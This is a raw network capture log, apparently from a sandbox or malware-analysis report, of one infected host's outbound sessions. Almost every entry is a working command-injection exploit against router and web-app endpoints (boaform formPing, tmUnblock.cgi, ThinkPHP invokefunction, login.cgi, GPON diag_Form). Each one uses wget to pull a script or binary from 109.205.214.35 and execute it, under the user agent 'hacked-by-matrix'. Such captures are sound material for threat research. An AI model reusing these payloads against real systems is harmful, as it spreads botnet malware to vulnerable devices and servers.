Mar 21, 2024 05:17:46.439327002 CET	1286	IN	Data Raw: 67 76 53 33 72 31 73 37 62 76 76 33 78 4f 58 50 6d 50 50 37 34 39 6e 6e 7a 31 6d 33 5a 65 42 42 77 64 2b 59 35 79 73 77 4b 76 64 36 6d 5a 61 34 63 65 54 56 56 62 59 41 33 4b 53 6b 68 49 5a 75 79 68 49 53 6b 70 49 4c 59 67 76 6a 56 6c 57 34 4c 45 Data Ascii: gvS3r1s7bvv3xOXPmPP749nnz1m3ZeBBwd+Y5yswKvd6mZa4ceTVVbYA3KSkhIZuyhISkpILYgvjVlW4LE09v0+s7K99cz0ZiwEvr5m1/ZwywLGzg1RwAvm7LQaKsY8/RZVaALlJNbx7h9bUugryA1Mo2AA6wY5dU+Y1UTJUadLQdQ3M8k/6NT63dztDmZDEGuLfPOzNAU9aR56gyg4zpdVTGyhAxBs51NpeXTJsJ/haUN09wQm
Mar 21, 2024 05:17:46.439410925 CET	1286	IN	Data Raw: 56 57 73 51 7a 4e 4b 63 73 47 51 37 46 6b 4b 57 71 55 4b 4e 6d 4e 42 7a 2b 2b 74 47 77 4e 61 37 47 46 77 5a 44 30 36 6b 73 71 76 65 4e 67 31 59 73 38 48 71 79 44 7a 36 47 46 54 68 6d 66 42 64 6f 7a 72 4f 52 72 4d 57 69 50 32 65 62 77 4b 6a 72 34 Data Ascii: VWsQzNKcsGQ7FkKWqUKNmNBz++tGwNa7GFwZD06ksqveNg1Ys8HqyDz6GFThmfBdozrORrMWiP2ebwKjr4m5E/DNrMKHNvaunRauIUcyp+PSjcFbQwKTXvGJfvedpEbg8guVwYF3Ti6cfSwsbBK+0mO5ygwKygtUMkGTTbmWDytCn3A1qNLl4Zghx+aCUv3apqZEZrxrIEleyT6/hQJm4W887XXXjsJnms+WLWqsbFx9OihOaB0
Mar 21, 2024 05:17:46.439469099 CET	1286	IN	Data Raw: 33 6a 32 51 38 64 35 66 5a 54 4d 32 4b 67 7a 32 56 64 64 52 30 44 6e 52 53 43 44 54 58 77 70 43 7a 73 30 47 46 31 6c 43 67 4e 69 6e 74 32 51 39 37 71 6e 73 78 4d 47 53 2b 36 31 34 75 39 72 6c 7a 7a 34 50 42 4a 70 73 58 79 71 7a 59 65 64 33 63 42 Data Ascii: 3j2Q8d5fZTM2Kgz2VddR0DnRSCDTXwpCzs0GF1lCgNint2Q97qnsxMGS+614u9rlzz4PBJpsXyqzYed3cB8ewK7Sf8dxdZi2Vs5dhTzVhMsuam2cldAAdARlW6JflSGlCL6U9B0ATlnMfBr7rPmD3AqOhT506dW7zl1IGmFZZUfj5dXPnBJlBbxWgmPXdZlbjde3dR0ATVj2BY00dQUdEBsxH8JKZmkwp5Vl+EjZh9yHa+2hkxk
Mar 21, 2024 05:17:46.455240011 CET	1286	IN	Data Raw: 37 4d 37 51 79 36 4e 37 51 51 36 74 76 52 6c 7a 43 79 52 5a 55 67 70 7a 7a 4a 79 34 34 71 31 6d 37 4f 34 4b 73 4e 71 6a 43 55 75 68 71 62 2b 38 4d 46 33 32 69 76 61 4f 41 6c 73 77 68 6a 50 33 62 34 65 52 6d 41 35 4e 4d 74 44 4b 2f 52 53 52 64 67 Data Ascii: 7M7Qy6N7QQ6tvRlzCyRZUgpzzJy44q1m7O4KsNqjCUuhqb+8MF32ivaOAlswhjP3b4eRmA5NMtDK/RSRdgYO3bRux1Bg+r8kx+LIQdHac+gQnOYs04qaeJCMxxpfg6KdjvMdJK4lW4N47nbzCpqIX0yvqAT5IKCpIKkEOhmNnNSaT8vZjbAa4CUZx/51PrnNweJocqgezLjYv0aHGqGja5DoTfE7aKKtiEK1wClemqjDvdRduHO

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.23	45262	119.84.213.128	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.041301966 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:47.185704947 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.23	52454	172.64.23.227	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.154812098 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:47.066637993 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.23	36400	45.36.235.108	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.295001030 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.23	37800	88.218.206.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.585295916 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:56.771385908 CET	16	IN	Data Raw: 77 33 0d 0a Data Ascii: w3

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.23	37108	88.255.236.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.643203974 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:47.930505991 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:49.467434883 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:52.633938074 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:58.777070999 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:11.063319921 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:37.171705008 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.23	36720	212.71.233.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.715950012 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:46.878484964 CET	486	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:46 GMT Server: Apache/2.2.22 (Ubuntu) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 245 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 4f c1 4a c4 40 0c bd f7 2b e2 9e f4 60 53 8b 07 0f c3 80 bb ad b8 b0 6a d1 ee 61 8f d3 4e a0 85 ee 4c 9d 64 14 ff de e9 16 0f 12 78 90 bc 97 f7 12 75 55 bd ed da 53 53 c3 73 fb 72 80 e6 b8 3d ec 77 b0 b9 45 dc d7 ed 13 62 d5 56 2b 53 e6 05 62 fd ba d1 99 1a e4 3c 69 35 90 b1 a9 91 51 26 d2 f7 45 01 5b 63 e1 9d 3e 23 b1 28 5c c7 99 c2 8b 4c 75 de fe 2c 9b 77 fa 9f 2a f5 99 9a f5 c9 c7 00 5d f0 df 4c 01 98 9c 80 81 b0 6a 40 06 b3 c0 c8 89 08 5f 89 ef 7d 9c 2c 38 2f 10 9d a5 c0 62 9c cd 55 17 00 97 b8 79 49 09 09 8c b5 81 98 f5 e3 6c fa 81 b0 cc 53 95 70 7d ec a2 93 78 03 1f ab 59 f2 a6 14 d8 8f 66 e2 91 85 ce 86 73 62 68 7c 10 78 28 14 fe b9 24 e7 cb 0b e9 e4 e5 f9 ec 17 a5 c2 be b7 37 01 00 00 Data Ascii: UOJ@+`SjaNLdxuUSSsr=wEbV+Sb<i5Q&E[c>#(\Lu,w*]Lj@_},8/bUyIlSp}xYfsbh\|x($7

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.23	48742	212.98.179.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.753199100 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:47.834557056 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:49.082946062 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:51.610004902 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:56.729295969 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:06.711934090 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:26.934956074 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.23	35160	172.66.215.196	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.976780891 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:47.482573032 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.23	44254	172.65.232.203	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.976830006 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.23	53638	172.93.234.162	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.999743938 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.23	59160	184.25.145.146	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.031105995 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:47.866513968 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:48.858386040 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:50.842222929 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:54.938868046 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:02.872462988 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:18.742281914 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:51.505703926 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.23	49694	181.78.27.194	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.290674925 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.015394926 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.23	43720	172.65.70.88	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.424242973 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.23	37320	172.65.207.198	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.540055990 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.23	53712	210.225.240.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.164809942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.23	53286	178.148.214.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.164864063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.23	60938	79.181.127.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.164868116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.23	57842	37.86.216.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.164908886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.23	37638	37.220.186.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.164943933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.23	42138	2.7.252.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.165007114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: 